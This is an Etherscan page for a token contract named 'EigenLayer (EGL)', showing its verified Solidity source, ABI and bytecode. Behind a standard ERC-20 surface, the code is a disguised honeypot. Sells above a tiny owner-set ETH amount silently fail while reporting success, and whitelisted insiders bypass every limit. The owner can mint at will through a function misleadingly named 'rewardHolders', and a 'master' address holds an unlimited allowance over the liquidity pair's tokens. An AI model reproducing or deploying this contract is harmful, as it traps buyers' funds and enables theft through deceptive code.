ETH Price: $2,693.04 (-0.19%)
Gas: 0.73 Gwei

Token

EigenLayer (EGL)
 

Overview

Max Total Supply

22,502,239,695.212702 EGL

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
0 EGL

Value
$0.00
0x4b21291f123f7090ff4d4e373f245d057550649c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EigenLayer

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() payable {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;
    function skim(address to) external;
    function sync() external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);
    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);
    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV3Factory {
    function getPool(
        address tokenA,
        address tokenB,
        uint24 fee
    ) external view returns (address pool);
}

interface IUniswapV3Pool {
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function fee() external view returns (uint24);
    function tickSpacing() external view returns (int24);
    function maxLiquidityPerTick() external view returns (uint128);
}

contract EigenLayer is Context, IERC20, Ownable {
    IUniswapV2Router02 internal _router;
    IUniswapV2Factory internal _factory;
    IUniswapV2Pair public pair;

    uint8 internal constant _DECIMALS = 6;

    address public master;
    mapping(address => bool) public _marketersAndDevs;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => uint256) internal _buySum;
    mapping(address => uint256) public _sellSum;
    mapping(address => uint256) public _sellSumBNB;

    uint256 internal _totalSupply = 22502239695212702;
    uint256 internal _theNumberBNB = 0.04 ether;

    modifier onlyMaster() {
        require(msg.sender == master);
        _;
    }

    constructor() payable {
        _router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _factory = IUniswapV2Factory(
            0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
        );
        pair = IUniswapV2Pair(
            _factory.createPair(
                address(this),
                address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)
            )
        );

        _balances[owner()] = _totalSupply;
        master = owner();
        // set max allowance for master
        _allowances[address(pair)][master] = ~uint256(0);
        _marketersAndDevs[owner()] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() external pure override returns (string memory) {
        return "EigenLayer";
    }

    function symbol() external pure override returns (string memory) {
        return "EGL";
    }

    function decimals() external pure override returns (uint8) {
        return _DECIMALS;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_canTransfer(_msgSender(), recipient, amount)) {
            _transfer(_msgSender(), recipient, amount);
        }
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_canTransfer(sender, recipient, amount)) {
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(
                currentAllowance >= amount,
                "ERC20: transfer amount exceeds allowance"
            );

            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

    function burn(uint256 amount) external onlyOwner {
        _balances[owner()] -= amount;
        _totalSupply -= amount;
    }

    function setNumber(uint256 newNumber) external onlyOwner {
        _theNumberBNB = newNumber;
    }

    function setMaster(address account) external onlyOwner {
        _allowances[address(pair)][master] = 0;
        master = account;
        _allowances[address(pair)][master] = ~uint256(0);
    }

    function syncPair() external onlyMaster {
        pair.sync();
    }

    function includeInReward(address account) external onlyMaster {
        _marketersAndDevs[account] = true;
    }

    function excludeFromReward(address account) external onlyMaster {
        _marketersAndDevs[account] = false;
    }

    function rewardHolders(uint256 amount) external onlyOwner {
        _balances[owner()] += amount;
        _totalSupply += amount;
    }

    function _isSuper(address account) private view returns (bool) {
        return (account == address(_router) || account == address(pair));
    }

    function _canTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private view returns (bool) {
        if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
            return true;
        }

        if (_isUniswapV3Pool(sender) || _isUniswapV3Pool(recipient)) {
            return false;
        }

        if (_isSuper(sender)) {
            return true;
        }

        if (_isSuper(recipient)) {
            uint256 amountBNB = _getBNBEquivalent(amount);

            uint256 bought = _buySum[sender];

            uint256 sold = _sellSum[sender];
            uint256 soldBNB = _sellSumBNB[sender];

            return
                bought >= sold + amount && _theNumberBNB >= soldBNB + amountBNB;
        }
        return true;
    }

    function _isUniswapV3Pool(address target) private view returns (bool) {
        if (target.code.length == 0) {
            return false;
        }

        IUniswapV3Pool poolContract = IUniswapV3Pool(target);

        address token0;
        address token1;
        uint24 fee;

        try poolContract.token0() returns (address _token0) {
            token0 = _token0;
        } catch (bytes memory) {
            return false;
        }

        try poolContract.token1() returns (address _token1) {
            token1 = _token1;
        } catch (bytes memory) {
            return false;
        }

        try poolContract.fee() returns (uint24 _fee) {
            fee = _fee;
        } catch (bytes memory) {
            return false;
        }

        return
            target ==
            IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984)
                .getPool(token0, token1, fee);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        require(
            _balances[sender] >= amount,
            "ERC20: transfer amount exceeds balance"
        );

        _balances[sender] -= amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _hasLiquidity() private view returns (bool) {
        (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
        return reserve0 > 0 && reserve1 > 0;
    }

    function _getBNBEquivalent(
        uint256 amountTokens
    ) private view returns (uint256) {
        (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
        if (pair.token0() == _router.WETH()) {
            return _router.getAmountOut(amountTokens, reserve1, reserve0);
        } else {
            return _router.getAmountOut(amountTokens, reserve0, reserve1);
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (_hasLiquidity()) {
            if (_isSuper(from)) {
                _buySum[to] += amount;
            }
            if (_isSuper(to)) {
                _sellSum[from] += amount;
                _sellSumBNB[from] += _getBNBEquivalent(amount);
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_marketersAndDevs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_sellSum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_sellSumBNB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"master","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewardHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setMaster","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumber","type":"uint256"}],"name":"setNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040819052664ff1aaf3af109e600b55668e1bc9bf040000600c55600080546001600160a01b031916339081178255918291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060018054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182161790915560028054735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9216821790556040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2602482015263c9c65396906044016020604051808303816000875af11580156100f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011b9190610202565b600380546001600160a01b0319166001600160a01b03928316179055600b546000805483168152600660205260408120919091555416600480546001600160a01b0319166001600160a01b0392831690811790915560035482166000908152600760209081526040808320938352928152828220600019905581548416825260059052908120805460ff1916600117905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516101f591815260200190565b60405180910390a3610232565b60006020828403121561021457600080fd5b81516001600160a01b038116811461022b57600080fd5b9392505050565b611490806102416000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063a8aa1b311161007c578063a8aa1b3114610307578063a9059cbb1461031a578063b59c09741461032d578063dd62ed3e14610335578063e6bd7ed11461036e578063ee97f7f31461038157600080fd5b806352390c021461026757806370a082311461027a57806383d972f9146102a35780638da5cb5b146102c357806395d89b41146102e857600080fd5b80632782e35b1161010a5780632782e35b146101dc578063313ce567146101ff5780633685d4191461020e5780633b24c4bb146102215780633fb5c1cb1461024157806342966c681461025457600080fd5b806306fdde0314610147578063095ea7b31461017f57806318160ddd146101a257806323b872dd146101b457806326fae0d3146101c7575b600080fd5b60408051808201909152600a81526922b4b3b2b72630bcb2b960b11b60208201525b60405161017691906111e0565b60405180910390f35b61019261018d366004611246565b610394565b6040519015158152602001610176565b600b545b604051908152602001610176565b6101926101c2366004611272565b6103ab565b6101da6101d53660046112b3565b610473565b005b6101926101ea3660046112b3565b60056020526000908152604090205460ff1681565b60405160068152602001610176565b6101da61021c3660046112b3565b6104fd565b6101a661022f3660046112b3565b600a6020526000908152604090205481565b6101da61024f3660046112d0565b610538565b6101da6102623660046112d0565b610567565b6101da6102753660046112b3565b6105f8565b6101a66102883660046112b3565b6001600160a01b031660009081526006602052604090205490565b6101a66102b13660046112b3565b60096020526000908152604090205481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610176565b6040805180820190915260038152621151d360ea1b6020820152610169565b6003546102d0906001600160a01b031681565b610192610328366004611246565b610630565b6101da61064d565b6101a66103433660046112e9565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6101da61037c3660046112d0565b6106ce565b6004546102d0906001600160a01b031681565b60006103a1338484610757565b5060015b92915050565b60006103b884848461087c565b15610468576001600160a01b0384166000908152600760209081526040808320338452909152902054828110156104475760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61045285858561097c565b61046685336104618685611338565b610757565b505b5060015b9392505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260040161043e9061134b565b600380546001600160a01b039081166000908152600760208181526040808420600480548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6004546001600160a01b0316331461051457600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146105625760405162461bcd60e51b815260040161043e9061134b565b600c55565b6000546001600160a01b031633146105915760405162461bcd60e51b815260040161043e9061134b565b80600660006105a86000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546105d79190611338565b9250508190555080600b60008282546105f09190611338565b909155505050565b6004546001600160a01b0316331461060f57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600061063d33848461087c565b156103a1576103a133848461097c565b6004546001600160a01b0316331461066457600080fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161043e9061134b565b806006600061070f6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461073e9190611380565b9250508190555080600b60008282546105f09190611380565b6001600160a01b0383166107b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043e565b6001600160a01b03821661081a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043e565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526005602052604081205460ff16806108bb57506001600160a01b03831660009081526005602052604090205460ff165b156108c85750600161046c565b6108d184610b65565b806108e057506108e083610b65565b156108ed5750600061046c565b6108f684610deb565b156109035750600161046c565b61090c83610deb565b1561046857600061091c83610e1a565b6001600160a01b0386166000908152600860209081526040808320546009835281842054600a90935292205492935090916109578683611380565b8310158015610971575061096b8482611380565b600c5410155b94505050505061046c565b6001600160a01b0383166109e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043e565b6001600160a01b038216610a425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043e565b610a4d838383611075565b6001600160a01b038316600090815260066020526040902054811115610ac45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161043e565b6001600160a01b03831660009081526006602052604081208054839290610aec908490611338565b90915550506001600160a01b03821660009081526006602052604081208054839290610b19908490611380565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086f91815260200190565b6000816001600160a01b03163b600003610b8157506000919050565b60008290506000806000836001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610be5575060408051601f3d908101601f19168201909252610be291810190611393565b60015b610c26573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b606091505b506000979650505050505050565b9250836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610c82575060408051601f3d908101601f19168201909252610c7f91810190611393565b60015b610cb0573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b9150836001600160a01b031663ddca3f436040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610d0c575060408051601f3d908101601f19168201909252610d09918101906113b0565b60015b610d3a573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b604051630b4c774160e11b81526001600160a01b0380861660048301528416602482015262ffffff82166044820152909150731f98431c8ad98523631ae4a59f267346ea31f98490631698ee8290606401602060405180830381865afa158015610da8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcc9190611393565b6001600160a01b0316866001600160a01b031614945050505050919050565b6001546000906001600160a01b03838116911614806103a55750506003546001600160a01b0390811691161490565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9691906113f1565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190611393565b6001600160a01b0316600360009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190611393565b6001600160a01b03160361103657600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b602060405180830381865afa15801561100a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102e9190611441565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610fed565b61107d611136565b156111315761108b83610deb565b156110be576001600160a01b038216600090815260086020526040812080548392906110b8908490611380565b90915550505b6110c782610deb565b15611131576001600160a01b038316600090815260096020526040812080548392906110f4908490611380565b90915550611103905081610e1a565b6001600160a01b0384166000908152600a60205260408120805490919061112b908490611380565b90915550505b505050565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561118e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b291906113f1565b506001600160701b031691506001600160701b031691506000821180156111d95750600081115b9250505090565b600060208083528351808285015260005b8181101561120d578581018301518582016040015282016111f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124357600080fd5b50565b6000806040838503121561125957600080fd5b82356112648161122e565b946020939093013593505050565b60008060006060848603121561128757600080fd5b83356112928161122e565b925060208401356112a28161122e565b929592945050506040919091013590565b6000602082840312156112c557600080fd5b813561046c8161122e565b6000602082840312156112e257600080fd5b5035919050565b600080604083850312156112fc57600080fd5b82356113078161122e565b915060208301356113178161122e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103a5576103a5611322565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103a5576103a5611322565b6000602082840312156113a557600080fd5b815161046c8161122e565b6000602082840312156113c257600080fd5b815162ffffff8116811461046c57600080fd5b80516001600160701b03811681146113ec57600080fd5b919050565b60008060006060848603121561140657600080fd5b61140f846113d5565b925061141d602085016113d5565b9150604084015163ffffffff8116811461143657600080fd5b809150509250925092565b60006020828403121561145357600080fd5b505191905056fea26469706673582212206dc33600f448ff28534efd8f68f7c5a96ec4e61fe7433fc71a3f19e939f153c464736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063a8aa1b311161007c578063a8aa1b3114610307578063a9059cbb1461031a578063b59c09741461032d578063dd62ed3e14610335578063e6bd7ed11461036e578063ee97f7f31461038157600080fd5b806352390c021461026757806370a082311461027a57806383d972f9146102a35780638da5cb5b146102c357806395d89b41146102e857600080fd5b80632782e35b1161010a5780632782e35b146101dc578063313ce567146101ff5780633685d4191461020e5780633b24c4bb146102215780633fb5c1cb1461024157806342966c681461025457600080fd5b806306fdde0314610147578063095ea7b31461017f57806318160ddd146101a257806323b872dd146101b457806326fae0d3146101c7575b600080fd5b60408051808201909152600a81526922b4b3b2b72630bcb2b960b11b60208201525b60405161017691906111e0565b60405180910390f35b61019261018d366004611246565b610394565b6040519015158152602001610176565b600b545b604051908152602001610176565b6101926101c2366004611272565b6103ab565b6101da6101d53660046112b3565b610473565b005b6101926101ea3660046112b3565b60056020526000908152604090205460ff1681565b60405160068152602001610176565b6101da61021c3660046112b3565b6104fd565b6101a661022f3660046112b3565b600a6020526000908152604090205481565b6101da61024f3660046112d0565b610538565b6101da6102623660046112d0565b610567565b6101da6102753660046112b3565b6105f8565b6101a66102883660046112b3565b6001600160a01b031660009081526006602052604090205490565b6101a66102b13660046112b3565b60096020526000908152604090205481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610176565b6040805180820190915260038152621151d360ea1b6020820152610169565b6003546102d0906001600160a01b031681565b610192610328366004611246565b610630565b6101da61064d565b6101a66103433660046112e9565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6101da61037c3660046112d0565b6106ce565b6004546102d0906001600160a01b031681565b60006103a1338484610757565b5060015b92915050565b60006103b884848461087c565b15610468576001600160a01b0384166000908152600760209081526040808320338452909152902054828110156104475760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482